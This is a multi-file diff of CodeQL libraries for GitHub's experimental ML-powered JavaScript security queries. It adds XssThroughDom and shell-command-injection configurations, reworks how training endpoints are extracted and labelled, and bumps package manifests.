class TypeTestGuard extends TaintTracking::SanitizerGuardNode, DataFlow::ValueNode {
|
||||
override EqualityTest astNode;
|
||||
Expr operand;
|
||||
boolean polarity;
|
||||
|
||||
TypeTestGuard() {
|
||||
exists(TypeofTag tag | TaintTracking::isTypeofGuard(astNode, operand, tag) |
|
||||
// typeof x === "string" sanitizes `x` when it evaluates to false
|
||||
tag = "string" and
|
||||
polarity = astNode.getPolarity().booleanNot()
|
||||
or
|
||||
// typeof x === "object" sanitizes `x` when it evaluates to true
|
||||
tag != "string" and
|
||||
polarity = astNode.getPolarity()
|
||||
)
|
||||
}
|
||||
|
||||
override predicate sanitizes(boolean outcome, Expr e) {
|
||||
polarity = outcome and
|
||||
e = operand
|
||||
}
|
||||
}
|
||||
|
||||
private import semmle.javascript.security.dataflow.Xss::Shared as Shared
|
||||
|
||||
private class PrefixStringSanitizer extends TaintTracking::SanitizerGuardNode,
|
||||
DomBasedXss::PrefixStringSanitizer {
|
||||
PrefixStringSanitizer() { this = this }
|
||||
}
|
||||
|
||||
private class PrefixString extends DataFlow::FlowLabel, DomBasedXss::PrefixString {
|
||||
PrefixString() { this = this }
|
||||
}
|
||||
|
||||
private class QuoteGuard extends TaintTracking::SanitizerGuardNode, Shared::QuoteGuard {
|
||||
QuoteGuard() { this = this }
|
||||
}
|
||||
|
||||
private class ContainsHtmlGuard extends TaintTracking::SanitizerGuardNode, Shared::ContainsHtmlGuard {
|
||||
ContainsHtmlGuard() { this = this }
|
||||
}
|
||||
@@ -1,4 +1,5 @@
|
||||
name: codeql/javascript-experimental-atm-lib
|
||||
description: CodeQL libraries for the experimental ML-powered queries
|
||||
version: 0.4.7
|
||||
extractor: javascript
|
||||
library: true
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
name: codeql/javascript-experimental-atm-model
|
||||
description: Machine learning model supporting the experimental ML-powered queries
|
||||
version: 0.3.1
|
||||
groups:
|
||||
- javascript
|
||||
|
||||
@@ -11,20 +11,34 @@
|
||||
|
||||
import javascript
|
||||
import experimental.adaptivethreatmodeling.ATMConfig
|
||||
import extraction.ExtractEndpointData
|
||||
import extraction.ExtractEndpointDataTraining
|
||||
private import experimental.adaptivethreatmodeling.NosqlInjectionATM as NosqlInjectionAtm
|
||||
private import experimental.adaptivethreatmodeling.SqlInjectionATM as SqlInjectionAtm
|
||||
private import experimental.adaptivethreatmodeling.TaintedPathATM as TaintedPathAtm
|
||||
private import experimental.adaptivethreatmodeling.XssATM as XssAtm
|
||||
private import experimental.adaptivethreatmodeling.XssThroughDomATM as XssThroughDomAtm
|
||||
private import experimental.adaptivethreatmodeling.ShellCommandInjectionFromEnvironmentATM as ShellCommandInjectionFromEnvironmentAtm
|
||||
|
||||
string getAReasonSinkExcluded(DataFlow::Node sinkCandidate, Query query) {
|
||||
query instanceof NosqlInjectionQuery and
|
||||
result = NosqlInjectionAtm::SinkEndpointFilter::getAReasonSinkExcluded(sinkCandidate)
|
||||
result = any(NosqlInjectionAtm::NosqlInjectionAtmConfig cfg).getAReasonSinkExcluded(sinkCandidate)
|
||||
or
|
||||
query instanceof SqlInjectionQuery and
|
||||
result = SqlInjectionAtm::SinkEndpointFilter::getAReasonSinkExcluded(sinkCandidate)
|
||||
result = any(SqlInjectionAtm::SqlInjectionAtmConfig cfg).getAReasonSinkExcluded(sinkCandidate)
|
||||
or
|
||||
query instanceof TaintedPathQuery and
|
||||
result = TaintedPathAtm::SinkEndpointFilter::getAReasonSinkExcluded(sinkCandidate)
|
||||
result = any(TaintedPathAtm::TaintedPathAtmConfig cfg).getAReasonSinkExcluded(sinkCandidate)
|
||||
or
|
||||
query instanceof XssQuery and
|
||||
result = XssAtm::SinkEndpointFilter::getAReasonSinkExcluded(sinkCandidate)
|
||||
result = any(XssAtm::DomBasedXssAtmConfig cfg).getAReasonSinkExcluded(sinkCandidate)
|
||||
or
|
||||
query instanceof XssThroughDomQuery and
|
||||
result = any(XssThroughDomAtm::XssThroughDomAtmConfig cfg).getAReasonSinkExcluded(sinkCandidate)
|
||||
or
|
||||
query instanceof ShellCommandInjectionFromEnvironmentQuery and
|
||||
result =
|
||||
any(ShellCommandInjectionFromEnvironmentAtm::ShellCommandInjectionFromEnvironmentAtmConfig cfg)
|
||||
.getAReasonSinkExcluded(sinkCandidate)
|
||||
}
|
||||
|
||||
pragma[inline]
|
||||
@@ -33,7 +47,7 @@ string getDescriptionForAlertCandidate(
|
||||
) {
|
||||
result = "excluded[reason=" + getAReasonSinkExcluded(sinkCandidate, query) + "]"
|
||||
or
|
||||
getAtmCfg(query).isKnownSink(sinkCandidate) and
|
||||
getDataFlowCfg(query).(AtmConfig).isKnownSink(sinkCandidate) and
|
||||
result = "excluded[reason=known-sink]"
|
||||
or
|
||||
not exists(getAReasonSinkExcluded(sinkCandidate, query)) and
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
/*
|
||||
/**
|
||||
* For internal use only.
|
||||
*
|
||||
*
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
/*
|
||||
/**
|
||||
* For internal use only.
|
||||
*
|
||||
* Defines files that should be excluded from the evaluation of ML models.
|
||||
|
||||
@@ -1,11 +0,0 @@
|
||||
/*
|
||||
* For internal use only.
|
||||
*
|
||||
* Extracts training and evaluation data we can use to train ML models for ML-powered queries.
|
||||
*/
|
||||
|
||||
import ExtractEndpointData as ExtractEndpointData
|
||||
|
||||
query predicate endpoints = ExtractEndpointData::endpoints/5;
|
||||
|
||||
query predicate tokenFeatures = ExtractEndpointData::tokenFeatures/3;
|
||||
@@ -1,215 +0,0 @@
|
||||
/*
|
||||
* For internal use only.
|
||||
*
|
||||
* Library code for training and evaluation data we can use to train ML models for ML-powered
|
||||
* queries.
|
||||
*/
|
||||
|
||||
import javascript
|
||||
import Exclusions as Exclusions
|
||||
import evaluation.EndToEndEvaluation as EndToEndEvaluation
|
||||
import experimental.adaptivethreatmodeling.ATMConfig
|
||||
import experimental.adaptivethreatmodeling.CoreKnowledge as CoreKnowledge
|
||||
import experimental.adaptivethreatmodeling.EndpointFeatures as EndpointFeatures
|
||||
import experimental.adaptivethreatmodeling.EndpointScoring as EndpointScoring
|
||||
import experimental.adaptivethreatmodeling.EndpointTypes
|
||||
import experimental.adaptivethreatmodeling.FilteringReasons
|
||||
import experimental.adaptivethreatmodeling.NosqlInjectionATM as NosqlInjectionAtm
|
||||
|
||||
/** DEPRECATED: Alias for NosqlInjectionAtm */
|
||||
deprecated module NosqlInjectionATM = NosqlInjectionAtm;
|
||||
|
||||
import experimental.adaptivethreatmodeling.SqlInjectionATM as SqlInjectionAtm
|
||||
|
||||
/** DEPRECATED: Alias for SqlInjectionAtm */
|
||||
deprecated module SqlInjectionATM = SqlInjectionAtm;
|
||||
|
||||
import experimental.adaptivethreatmodeling.TaintedPathATM as TaintedPathAtm
|
||||
|
||||
/** DEPRECATED: Alias for TaintedPathAtm */
|
||||
deprecated module TaintedPathATM = TaintedPathAtm;
|
||||
|
||||
import experimental.adaptivethreatmodeling.XssATM as XssAtm
|
||||
|
||||
/** DEPRECATED: Alias for XssAtm */
|
||||
deprecated module XssATM = XssAtm;
|
||||
|
||||
import Labels
|
||||
import NoFeaturizationRestrictionsConfig
|
||||
import Queries
|
||||
|
||||
/** Gets the ATM configuration object for the specified query. */
|
||||
AtmConfig getAtmCfg(Query query) {
|
||||
query instanceof NosqlInjectionQuery and
|
||||
result instanceof NosqlInjectionAtm::NosqlInjectionAtmConfig
|
||||
or
|
||||
query instanceof SqlInjectionQuery and result instanceof SqlInjectionAtm::SqlInjectionAtmConfig
|
||||
or
|
||||
query instanceof TaintedPathQuery and result instanceof TaintedPathAtm::TaintedPathAtmConfig
|
||||
or
|
||||
query instanceof XssQuery and result instanceof XssAtm::DomBasedXssAtmConfig
|
||||
}
|
||||
|
||||
/** DEPRECATED: Alias for getAtmCfg */
|
||||
deprecated ATMConfig getATMCfg(Query query) { result = getAtmCfg(query) }
|
||||
|
||||
/** Gets the ATM data flow configuration for the specified query. */
|
||||
DataFlow::Configuration getDataFlowCfg(Query query) {
|
||||
query instanceof NosqlInjectionQuery and result instanceof NosqlInjectionAtm::Configuration
|
||||
or
|
||||
query instanceof SqlInjectionQuery and result instanceof SqlInjectionAtm::Configuration
|
||||
or
|
||||
query instanceof TaintedPathQuery and result instanceof TaintedPathAtm::Configuration
|
||||
or
|
||||
query instanceof XssQuery and result instanceof XssAtm::Configuration
|
||||
}
|
||||
|
||||
/** Gets a known sink for the specified query. */
|
||||
private DataFlow::Node getASink(Query query) {
|
||||
getAtmCfg(query).isKnownSink(result) and
|
||||
// Only consider the source code for the project being analyzed.
|
||||
exists(result.getFile().getRelativePath())
|
||||
}
|
||||
|
||||
/** Gets a data flow node that is known not to be a sink for the specified query. */
|
||||
private DataFlow::Node getANotASink(NotASinkReason reason) {
|
||||
CoreKnowledge::isOtherModeledArgument(result, reason) and
|
||||
// Some endpoints can be assigned both a `NotASinkReason` and a `LikelyNotASinkReason`. We
|
||||
// consider these endpoints to be `LikelyNotASink`, therefore this line excludes them from the
|
||||
// definition of `NotASink`.
|
||||
not CoreKnowledge::isOtherModeledArgument(result, any(LikelyNotASinkReason t)) and
|
||||
not result = getASink(_) and
|
||||
// Only consider the source code for the project being analyzed.
|
||||
exists(result.getFile().getRelativePath())
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets a data flow node whose label is unknown for the specified query.
|
||||
*
|
||||
* In other words, this is an endpoint that is not `Sink`, `NotASink`, or `LikelyNotASink` for the
|
||||
* specified query.
|
||||
*/
|
||||
private DataFlow::Node getAnUnknown(Query query) {
|
||||
getAtmCfg(query).isEffectiveSink(result) and
|
||||
// Effective sinks should exclude sinks but this is a defensive requirement
|
||||
not result = getASink(query) and
|
||||
// Effective sinks should exclude NotASink but for some queries (e.g. Xss) this is currently not always the case and
|
||||
// so this is a defensive requirement
|
||||
not result = getANotASink(_) and
|
||||
// Only consider the source code for the project being analyzed.
|
||||
exists(result.getFile().getRelativePath())
|
||||
}
|
||||
|
||||
/** Gets the query-specific sink label for the given endpoint, if such a label exists. */
|
||||
private EndpointLabel getSinkLabelForEndpoint(DataFlow::Node endpoint, Query query) {
|
||||
endpoint = getASink(query) and result instanceof SinkLabel
|
||||
or
|
||||
endpoint = getANotASink(_) and result instanceof NotASinkLabel
|
||||
or
|
||||
endpoint = getAnUnknown(query) and result instanceof UnknownLabel
|
||||
}
|
||||
|
||||
/** Gets an endpoint that should be extracted. */
|
||||
DataFlow::Node getAnEndpoint(Query query) { exists(getSinkLabelForEndpoint(result, query)) }
|
||||
|
||||
/**
|
||||
* Endpoints and associated metadata.
|
||||
*
|
||||
* Note that we draw a distinction between _features_, that are provided to the model at training
|
||||
* and query time, and _metadata_, that is only provided to the model at training time.
|
||||
*
|
||||
* Internal: See the design document for
|
||||
* [extensible extraction queries](https://docs.google.com/document/d/1g3ci2Nf1hGMG6ZUP0Y4PqCy_8elcoC_dhBvgTxdAWpg)
|
||||
* for technical information about the design of this predicate.
|
||||
*/
|
||||
predicate endpoints(
|
||||
DataFlow::Node endpoint, string queryName, string key, string value, string valueType
|
||||
) {
|
||||
exists(Query query |
|
||||
// Only provide metadata for labelled endpoints, since we do not extract all endpoints.
|
||||
endpoint = getAnEndpoint(query) and
|
||||
queryName = query.getName() and
|
||||
(
|
||||
// Holds if there is a taint flow path from a known source to the endpoint
|
||||
key = "hasFlowFromSource" and
|
||||
(
|
||||
if FlowFromSource::hasFlowFromSource(endpoint, query)
|
||||
then value = "true"
|
||||
else value = "false"
|
||||
) and
|
||||
valueType = "boolean"
|
||||
or
|
||||
// Constant expressions always evaluate to a constant primitive value. Therefore they can't ever
|
||||
// appear in an alert, making them less interesting training examples.
|
||||
key = "isConstantExpression" and
|
||||
(if endpoint.asExpr() instanceof ConstantExpr then value = "true" else value = "false") and
|
||||
valueType = "boolean"
|
||||
or
|
||||
// Holds if alerts involving the endpoint are excluded from the end-to-end evaluation.
|
||||
key = "isExcludedFromEndToEndEvaluation" and
|
||||
(if Exclusions::isFileExcluded(endpoint.getFile()) then value = "true" else value = "false") and
|
||||
valueType = "boolean"
|
||||
or
|
||||
// The label for this query, considering the endpoint as a sink.
|
||||
key = "sinkLabel" and
|
||||
value = getSinkLabelForEndpoint(endpoint, query).getEncoding() and
|
||||
valueType = "string"
|
||||
or
|
||||
// The reason, or reasons, why the endpoint was labeled NotASink for this query.
|
||||
key = "notASinkReason" and
|
||||
exists(FilteringReason reason |
|
||||
endpoint = getANotASink(reason) and
|
||||
value = reason.getDescription()
|
||||
) and
|
||||
valueType = "string"
|
||||
)
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* `EndpointFeatures::tokenFeatures` has no results when `featureName` is absent for the endpoint
|
||||
* `endpoint`. To preserve compatibility with the data pipeline, this relation will instead set
|
||||
* `featureValue` to the empty string in this case.
|
||||
*/
|
||||
predicate tokenFeatures(DataFlow::Node endpoint, string featureName, string featureValue) {
|
||||
endpoints(endpoint, _, _, _, _) and
|
||||
(
|
||||
EndpointFeatures::tokenFeatures(endpoint, featureName, featureValue)
|
||||
or
|
||||
// Performance note: this creates a Cartesian product between `endpoint` and `featureName`.
|
||||
featureName = EndpointFeatures::getASupportedFeatureName() and
|
||||
not exists(string value | EndpointFeatures::tokenFeatures(endpoint, featureName, value)) and
|
||||
featureValue = ""
|
||||
)
|
||||
}
|
||||
|
||||
module FlowFromSource {
|
||||
predicate hasFlowFromSource(DataFlow::Node endpoint, Query q) {
|
||||
exists(Configuration cfg | cfg.getQuery() = q | cfg.hasFlow(_, endpoint))
|
||||
}
|
||||
|
||||
/**
|
||||
* A data flow configuration that replicates the data flow configuration for a specific query, but
|
||||
* replaces the set of sinks with the set of endpoints we're extracting.
|
||||
*
|
||||
* We use this to find out when there is flow to a particular endpoint from a known source.
|
||||
*
|
||||
* This configuration behaves in a very similar way to the `ForwardExploringConfiguration` class
|
||||
* from the CodeQL standard libraries for JavaScript.
|
||||
*/
|
||||
private class Configuration extends DataFlow::Configuration {
|
||||
Query q;
|
||||
|
||||
Configuration() { this = getDataFlowCfg(q) }
|
||||
|
||||
Query getQuery() { result = q }
|
||||
|
||||
/** Holds if `sink` is an endpoint we're extracting. */
|
||||
override predicate isSink(DataFlow::Node sink) { sink = getAnEndpoint(q) }
|
||||
|
||||
/** Holds if `sink` is an endpoint we're extracting. */
|
||||
override predicate isSink(DataFlow::Node sink, DataFlow::FlowLabel lbl) {
|
||||
sink = getAnEndpoint(q) and exists(lbl)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -4,23 +4,8 @@
|
||||
* Extracts training data we can use to train ML models for ML-powered queries.
|
||||
*/
|
||||
|
||||
import javascript
|
||||
import ExtractEndpointData as ExtractEndpointData
|
||||
private import ExtractEndpointDataTraining as ExtractEndpointDataTraining
|
||||
|
||||
query predicate endpoints(
|
||||
DataFlow::Node endpoint, string queryName, string key, string value, string valueType
|
||||
) {
|
||||
ExtractEndpointData::endpoints(endpoint, queryName, key, value, valueType) and
|
||||
// only select endpoints that are either Sink or NotASink
|
||||
ExtractEndpointData::endpoints(endpoint, queryName, "sinkLabel", ["Sink", "NotASink"], "string") and
|
||||
// do not select endpoints filtered out by end-to-end evaluation
|
||||
ExtractEndpointData::endpoints(endpoint, queryName, "isExcludedFromEndToEndEvaluation", "false",
|
||||
"boolean") and
|
||||
// only select endpoints that can be part of a tainted flow
|
||||
ExtractEndpointData::endpoints(endpoint, queryName, "isConstantExpression", "false", "boolean")
|
||||
}
|
||||
query predicate endpoints = ExtractEndpointDataTraining::reformattedTrainingEndpoints/5;
|
||||
|
||||
query predicate tokenFeatures(DataFlow::Node endpoint, string featureName, string featureValue) {
|
||||
endpoints(endpoint, _, _, _, _) and
|
||||
ExtractEndpointData::tokenFeatures(endpoint, featureName, featureValue)
|
||||
}
|
||||
query predicate tokenFeatures = ExtractEndpointDataTraining::tokenFeatures/3;
|
||||
|
||||
@@ -0,0 +1,255 @@
|
||||
/**
|
||||
* For internal use only.
|
||||
*
|
||||
* Extracts training data we can use to train ML models for ML-powered queries.
|
||||
*/
|
||||
|
||||
import javascript
|
||||
import experimental.adaptivethreatmodeling.EndpointCharacteristics
|
||||
import experimental.adaptivethreatmodeling.EndpointFeatures as EndpointFeatures
|
||||
import NoFeaturizationRestrictionsConfig
|
||||
private import Exclusions as Exclusions
|
||||
import Queries
|
||||
private import experimental.adaptivethreatmodeling.NosqlInjectionATM as NosqlInjectionAtm
|
||||
private import experimental.adaptivethreatmodeling.SqlInjectionATM as SqlInjectionAtm
|
||||
private import experimental.adaptivethreatmodeling.TaintedPathATM as TaintedPathAtm
|
||||
private import experimental.adaptivethreatmodeling.XssATM as XssAtm
|
||||
private import experimental.adaptivethreatmodeling.XssThroughDomATM as XssThroughDomAtm
|
||||
private import experimental.adaptivethreatmodeling.ShellCommandInjectionFromEnvironmentATM as ShellCommandInjectionFromEnvironmentAtm
|
||||
|
||||
/**
|
||||
* Gets the set of featureName-featureValue pairs for each endpoint in the training set.
|
||||
*
|
||||
* `EndpointFeatures::tokenFeatures` has no results when `featureName` is absent for the endpoint
|
||||
* `endpoint`. To preserve compatibility with the data pipeline, this relation will instead set
|
||||
* `featureValue` to the empty string in this case.
|
||||
*/
|
||||
predicate tokenFeatures(DataFlow::Node endpoint, string featureName, string featureValue) {
|
||||
trainingEndpoints(endpoint, _, _) and
|
||||
(
|
||||
EndpointFeatures::tokenFeatures(endpoint, featureName, featureValue)
|
||||
or
|
||||
// Performance note: this creates a Cartesian product between `endpoint` and `featureName`.
|
||||
featureName = EndpointFeatures::getASupportedFeatureName() and
|
||||
not EndpointFeatures::tokenFeatures(endpoint, featureName, _) and
|
||||
featureValue = ""
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if the given endpoint should be included in the training set as a sample belonging to endpointClass, and has
|
||||
* the given characteristic. This query uses the endpoint characteristics to select and label endpoints for the training
|
||||
* set, and provides a list of characteristics for each endpoint in the training set, which is used in the modeling
|
||||
* code.
|
||||
*
|
||||
* Params:
|
||||
* endpoint: The endpoint to include / exclude.
|
||||
* endpointClass: The sink type. See the documentation of EndpointType.getEncoding for details about the relationship
|
||||
* between an EndpointType and a class in the classifier.
|
||||
* characteristic: Provides the list of characteristics that apply to the endpoint, which the modeling code currently
|
||||
* uses for type balancing.
|
||||
*
|
||||
* Note: This predicate will produce multiple tuples for endpoints that have multiple characteristics, which we must
|
||||
* then group together into a list of characteristics.
|
||||
*/
|
||||
query predicate trainingEndpoints(
|
||||
DataFlow::Node endpoint, EndpointType endpointClass, EndpointCharacteristic characteristic
|
||||
) {
|
||||
characteristic.appliesToEndpoint(endpoint) and
|
||||
// Only consider the source code for the project being analyzed.
|
||||
exists(endpoint.getFile().getRelativePath()) and
|
||||
// Only select endpoints that can be part of a tainted flow: Constant expressions always evaluate to a constant
|
||||
// primitive value. Therefore they can't ever appear in an alert, making them less interesting training examples.
|
||||
// TODO: Experiment with removing this requirement.
|
||||
not endpoint.asExpr() instanceof ConstantExpr and
|
||||
// Do not select endpoints filtered out by end-to-end evaluation.
|
||||
// TODO: Experiment with removing this requirement.
|
||||
not Exclusions::isFileExcluded(endpoint.getFile()) and
|
||||
// Filter out negative examples that also have a LikelyNotASinkReason, because this is currently done here
|
||||
// https://github.com/github/codeql/blob/387e57546bf7352f7c1cfe781daa1a3799b7063e/javascript/ql/experimental/adaptivethreatmodeling/modelbuilding/extraction/ExtractEndpointData.qll#L77
|
||||
// TODO: Experiment with removing this requirement.
|
||||
not (
|
||||
endpointClass instanceof NegativeType and
|
||||
exists(EndpointCharacteristic c |
|
||||
c.appliesToEndpoint(endpoint) and
|
||||
c instanceof LikelyNotASinkCharacteristic
|
||||
)
|
||||
) and
|
||||
// Don't surface endpoint filters as characteristics, because they were previously not surfaced.
|
||||
// TODO: Experiment with surfacing these to the modeling code by removing the following line (and then make
|
||||
// EndpointFilterCharacteristic private).
|
||||
not characteristic instanceof EndpointFilterCharacteristic and
|
||||
(
|
||||
// If the list of characteristics includes positive indicators with high confidence for this class, select this as a
|
||||
// training sample belonging to the class.
|
||||
exists(EndpointCharacteristic characteristic2, float confidence |
|
||||
characteristic2.appliesToEndpoint(endpoint) and
|
||||
characteristic2.hasImplications(endpointClass, true, confidence) and
|
||||
confidence >= characteristic2.getHighConfidenceThreshold()
|
||||
) and
|
||||
(
|
||||
// Temporarily limit this only to positive classes. For negative classes, additionally select only endpoints that
|
||||
// have no high confidence indicators that they are sinks, because this is what was previously done.
|
||||
// TODO: Experiment with removing this requirement, and instead ensuring that an endpoint never has both a high
|
||||
// confidence indicator that it _is_ a sink and a high confidence indicator that it is _not_ a sink.
|
||||
not endpointClass instanceof NegativeType
|
||||
or
|
||||
not exists(EndpointCharacteristic characteristic3, float confidence3, EndpointType posClass |
|
||||
characteristic3.appliesToEndpoint(endpoint) and
|
||||
characteristic3.hasImplications(posClass, true, confidence3) and
|
||||
confidence3 >= characteristic3.getHighConfidenceThreshold() and
|
||||
not posClass instanceof NegativeType
|
||||
)
|
||||
)
|
||||
or
|
||||
// If the list of characteristics includes negative indicators with high confidence for all classes other than 0,
|
||||
// select this as a training sample of class 0 (this means we had query-specific characteristics to decide this
|
||||
// endpoint isn't a sink for each of our sink types).
|
||||
endpointClass instanceof NegativeType and
|
||||
forall(EndpointType otherClass | not otherClass instanceof NegativeType |
|
||||
exists(EndpointCharacteristic characteristic2, float confidence |
|
||||
characteristic2.appliesToEndpoint(endpoint) and
|
||||
characteristic2.hasImplications(otherClass, false, confidence) and
|
||||
confidence >= characteristic2.getHighConfidenceThreshold()
|
||||
)
|
||||
)
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Temporary:
|
||||
* Reformat the training data that was extracted with the new logic to match the format produced by the old predicate.
|
||||
* This is the format expected by the endpoint pipeline.
|
||||
*/
|
||||
query predicate reformattedTrainingEndpoints(
|
||||
DataFlow::Node endpoint, string queryName, string key, string value, string valueType
|
||||
) {
|
||||
trainingEndpoints(endpoint, _, _) and
|
||||
exists(Query query |
|
||||
queryName = query.getName() and
|
||||
// For sinks, only list that sink type, but for non-sinks, list all sink types.
|
||||
(
|
||||
exists(EndpointType endpointClass |
|
||||
endpointClass.getDescription().matches(queryName + "%") and
|
||||
not endpointClass instanceof NegativeType and
|
||||
trainingEndpoints(endpoint, endpointClass, _)
|
||||
)
|
||||
or
|
||||
exists(EndpointType endpointClass |
|
||||
endpointClass instanceof NegativeType and
|
||||
trainingEndpoints(endpoint, endpointClass, _)
|
||||
)
|
||||
) and
|
||||
(
|
||||
// NOTE: We don't use hasFlowFromSource in training, so we could just hardcode it to be false.
|
||||
key = "hasFlowFromSource" and
|
||||
(
|
||||
if FlowFromSource::hasFlowFromSource(endpoint, query)
|
||||
then value = "true"
|
||||
else value = "false"
|
||||
) and
|
||||
valueType = "boolean"
|
||||
or
|
||||
// Constant expressions always evaluate to a constant primitive value. Therefore they can't ever
|
||||
// appear in an alert, making them less interesting training examples.
|
||||
key = "isConstantExpression" and
|
||||
(if endpoint.asExpr() instanceof ConstantExpr then value = "true" else value = "false") and
|
||||
valueType = "boolean"
|
||||
or
|
||||
// Holds if alerts involving the endpoint are excluded from the end-to-end evaluation.
|
||||
key = "isExcludedFromEndToEndEvaluation" and
|
||||
(if Exclusions::isFileExcluded(endpoint.getFile()) then value = "true" else value = "false") and
|
||||
valueType = "boolean"
|
||||
or
|
||||
// The label for this query, considering the endpoint as a sink.
|
||||
key = "sinkLabel" and
|
||||
valueType = "string" and
|
||||
value = "Sink" and
|
||||
exists(EndpointType endpointClass |
|
||||
endpointClass.getDescription().matches(queryName + "%") and
|
||||
not endpointClass instanceof NegativeType and
|
||||
trainingEndpoints(endpoint, endpointClass, _)
|
||||
)
|
||||
or
|
||||
key = "sinkLabel" and
|
||||
valueType = "string" and
|
||||
value = "NotASink" and
|
||||
exists(EndpointType endpointClass |
|
||||
endpointClass instanceof NegativeType and
|
||||
trainingEndpoints(endpoint, endpointClass, _)
|
||||
)
|
||||
or
|
||||
// The reason, or reasons, why the endpoint was labeled NotASink for this query, only for negative examples.
|
||||
key = "notASinkReason" and
|
||||
exists(EndpointCharacteristic characteristic, EndpointType endpointClass |
|
||||
characteristic.appliesToEndpoint(endpoint) and
|
||||
characteristic.hasImplications(endpointClass, true, _) and
|
||||
endpointClass instanceof NegativeType and
|
||||
value = characteristic
|
||||
) and
|
||||
// Don't include a notASinkReason for endpoints that are also known sinks.
|
||||
not exists(EndpointCharacteristic characteristic3, float confidence3, EndpointType posClass |
|
||||
characteristic3.appliesToEndpoint(endpoint) and
|
||||
characteristic3.hasImplications(posClass, true, confidence3) and
|
||||
confidence3 >= characteristic3.getHighConfidenceThreshold() and
|
||||
not posClass instanceof NegativeType
|
||||
) and
|
||||
// Don't surface endpoint filters as notASinkReasons, because they were previously not surfaced.
|
||||
// TODO: Experiment with surfacing these to the modeling code by removing the following line (and then make
|
||||
// EndpointFilterCharacteristic private).
|
||||
not value instanceof EndpointFilterCharacteristic and
|
||||
valueType = "string"
|
||||
)
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the ATM data flow configuration for the specified query.
|
||||
* TODO: Delete this once we are no longer surfacing `hasFlowFromSource`.
|
||||
*/
|
||||
DataFlow::Configuration getDataFlowCfg(Query query) {
|
||||
query instanceof NosqlInjectionQuery and
|
||||
result instanceof NosqlInjectionAtm::NosqlInjectionAtmConfig
|
||||
or
|
||||
query instanceof SqlInjectionQuery and result instanceof SqlInjectionAtm::SqlInjectionAtmConfig
|
||||
or
|
||||
query instanceof TaintedPathQuery and result instanceof TaintedPathAtm::TaintedPathAtmConfig
|
||||
or
|
||||
query instanceof XssQuery and result instanceof XssAtm::DomBasedXssAtmConfig
|
||||
or
|
||||
query instanceof XssThroughDomQuery and result instanceof XssThroughDomAtm::XssThroughDomAtmConfig
|
||||
or
|
||||
query instanceof ShellCommandInjectionFromEnvironmentQuery and
|
||||
result instanceof
|
||||
ShellCommandInjectionFromEnvironmentAtm::ShellCommandInjectionFromEnvironmentAtmConfig
|
||||
}
|
||||
|
||||
// TODO: Delete this once we are no longer surfacing `hasFlowFromSource`.
|
||||
private module FlowFromSource {
|
||||
predicate hasFlowFromSource(DataFlow::Node endpoint, Query q) {
|
||||
exists(Configuration cfg | cfg.getQuery() = q | cfg.hasFlow(_, endpoint))
|
||||
}
|
||||
|
||||
/**
|
||||
* A data flow configuration that replicates the data flow configuration for a specific query, but
|
||||
* replaces the set of sinks with the set of endpoints we're extracting.
|
||||
*
|
||||
* We use this to find out when there is flow to a particular endpoint from a known source.
|
||||
*
|
||||
* This configuration behaves in a very similar way to the `ForwardExploringConfiguration` class
|
||||
* from the CodeQL standard libraries for JavaScript.
|
||||
*/
|
||||
private class Configuration extends DataFlow::Configuration {
|
||||
Query q;
|
||||
|
||||
Configuration() { this = getDataFlowCfg(q) }
|
||||
|
||||
Query getQuery() { result = q }
|
||||
|
||||
/** Holds if `sink` is an endpoint we're extracting. */
|
||||
override predicate isSink(DataFlow::Node sink) { any() }
|
||||
|
||||
/** Holds if `sink` is an endpoint we're extracting. */
|
||||
override predicate isSink(DataFlow::Node sink, DataFlow::FlowLabel lbl) { exists(lbl) }
|
||||
}
|
||||
}
|
||||
@@ -8,6 +8,8 @@ import experimental.adaptivethreatmodeling.SqlInjectionATM as SqlInjectionAtm
|
||||
import experimental.adaptivethreatmodeling.NosqlInjectionATM as NosqlInjectionAtm
|
||||
import experimental.adaptivethreatmodeling.TaintedPathATM as TaintedPathAtm
|
||||
import experimental.adaptivethreatmodeling.XssATM as XssAtm
|
||||
import experimental.adaptivethreatmodeling.XssThroughDomATM as XssThroughDomAtm
|
||||
import experimental.adaptivethreatmodeling.ShellCommandInjectionFromEnvironmentATM as ShellCommandInjectionFromEnvironmentAtm
|
||||
import experimental.adaptivethreatmodeling.AdaptiveThreatModeling
|
||||
|
||||
from string queryName, AtmConfig c, EndpointType e
|
||||
@@ -23,6 +25,12 @@ where
|
||||
c instanceof TaintedPathAtm::TaintedPathAtmConfig
|
||||
or
|
||||
queryName = "Xss" and c instanceof XssAtm::DomBasedXssAtmConfig
|
||||
or
|
||||
queryName = "XssThroughDom" and c instanceof XssThroughDomAtm::XssThroughDomAtmConfig
|
||||
or
|
||||
queryName = "ShellCommandInjectionFromEnvironment" and
|
||||
c instanceof
|
||||
ShellCommandInjectionFromEnvironmentAtm::ShellCommandInjectionFromEnvironmentAtmConfig
|
||||
) and
|
||||
e = c.getASinkEndpointType()
|
||||
select queryName, e.getEncoding() as label
|
||||
|
||||
@@ -8,7 +8,9 @@ newtype TQuery =
|
||||
TNosqlInjectionQuery() or
|
||||
TSqlInjectionQuery() or
|
||||
TTaintedPathQuery() or
|
||||
TXssQuery()
|
||||
TXssQuery() or
|
||||
TXssThroughDomQuery() or
|
||||
TShellCommandInjectionFromEnvironmentQuery()
|
||||
|
||||
abstract class Query extends TQuery {
|
||||
abstract string getName();
|
||||
@@ -31,3 +33,12 @@ class TaintedPathQuery extends Query, TTaintedPathQuery {
|
||||
class XssQuery extends Query, TXssQuery {
|
||||
override string getName() { result = "Xss" }
|
||||
}
|
||||
|
||||
class XssThroughDomQuery extends Query, TXssThroughDomQuery {
|
||||
override string getName() { result = "XssThroughDom" }
|
||||
}
|
||||
|
||||
class ShellCommandInjectionFromEnvironmentQuery extends Query,
|
||||
TShellCommandInjectionFromEnvironmentQuery {
|
||||
override string getName() { result = "ShellCommandInjectionFromEnvironment" }
|
||||
}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
name: codeql/javascript-experimental-atm-model-building
|
||||
description: CodeQL libraries for building machine learning models for the experimental ML-powered queries
|
||||
extractor: javascript
